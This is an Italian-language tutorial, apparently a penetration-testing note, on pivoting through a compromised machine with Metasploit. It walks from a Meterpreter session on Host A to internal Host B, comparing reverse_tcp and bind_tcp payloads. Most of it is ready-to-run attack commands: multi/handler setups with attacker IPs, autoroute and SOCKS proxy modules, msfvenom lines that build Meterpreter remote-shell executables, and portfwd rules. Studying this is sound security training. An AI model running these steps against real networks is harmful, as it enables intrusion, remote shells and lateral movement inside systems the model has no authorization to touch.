Reverse TCP vs Bind TCP
Utilizzare una macchina compromessa Host A per pivotare verso una seconda macchina interna Host B e ottenere una shell Meterpreter tramite payload reversetcp o bindtcp. ---
🧭 Pivoting con Metasploit: reverse_tcp vs bind_tcp
🎯 Obiettivo
Utilizzare una macchina compromessa (Host A) per pivotare verso una seconda macchina interna (Host B) e ottenere una shell Meterpreter tramite payload reverse_tcp o bind_tcp.
🧱 Scenario Rete
Attaccante: 192.168.1.100 Host A (compromesso): 192.168.1.10 Host B (target interno): 10.0.0.5- Host A ha accesso sia a Internet (rete dell'attaccante) che alla rete interna (dove risiede B).
- L’attaccante non può raggiungere direttamente Host B.
- Si utilizza A come pivot per raggiungere B.
🧪 Metodo 1 – reverse_tcp tramite pivot
✔️ Vantaggi
- Maggiore stealth (B non espone porte).
- Utilizzabile con payload comuni (exe, stageless, etc.).
🛠️ Procedura
#### 1. Ottenere una sessione Meterpreter su Host A
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
run#### 2. Abilitare il pivoting con autoroute
background
use post/multi/manage/autoroute
set SESSION <ID di host "A">
runConferma con:
run autoroute -p#### 3. Avviare un proxy SOCKS per accesso tunnellizzato
use auxiliary/server/socks_proxy
set SRVPORT 1080
run#### 4. Generare un payload per Host B (che torna su A)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=5555 -f exe -o payload_b.exe#### 5. Avviare un listener su A tramite port forwarding
In Meterpreter:
portfwd add -l 5555 -p 5555 -r 10.0.0.5Oppure: usa un secondo handler in ascolto "locale":
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 5555
run#### 6. Eseguire il payload su B (via RCE, SMB, PsExec, ecc.)
🧪 Metodo 2 – bind_tcp con port forwarding
✔️ Vantaggi
- Nessuna connessione in uscita da B (utile se outbound è filtrato).
- Controllo diretto della sessione.
❌ Svantaggi
- La porta resta aperta su B, più rilevabile.
- Necessita port forwarding o SOCKS per accesso.
🛠️ Procedura
#### 1. Generare il payload bind_tcp per Host B
msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe -o payload_b.exe#### 2. Caricare ed eseguire il payload su B
#### 3. Aprire il port forwarding dal tuo attaccante tramite la sessione su A:
portfwd add -l 4444 -p 4444 -r 10.0.0.5Ora puoi connetterti da Metasploit:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/bind_tcp
set RHOST 127.0.0.1
set RPORT 4444
run📌 Riepilogo rapido – Scelte strategiche
| Payload | Ingress/egress | Stealth | Richiede portfwd | Uso consigliato |
| reverse_tcp | Egress | Alta | Sì (attraverso A) | Quando puoi tunnelare B→A |
| bind_tcp | Ingress | Bassa | Sì | Quando outbound è bloccato |
🔍 Tools/metodi alternativi
post/multi/manage/autoroute
auxiliary/server/socks_proxy
portfwdin Meterpreter
proxychains+ socks4a
routeper controllare la tabella interna di Metasploit
📎 Note finali
- Tutto il traffico verso B deve essere tunnelato tramite A, altrimenti non sarà raggiungibile.
- I firewall locali su B possono ancora bloccare
bind_tcp.
- In alternativa puoi configurare una VPN interna tra A e il tuo attaccante per rendere persistente il pivot.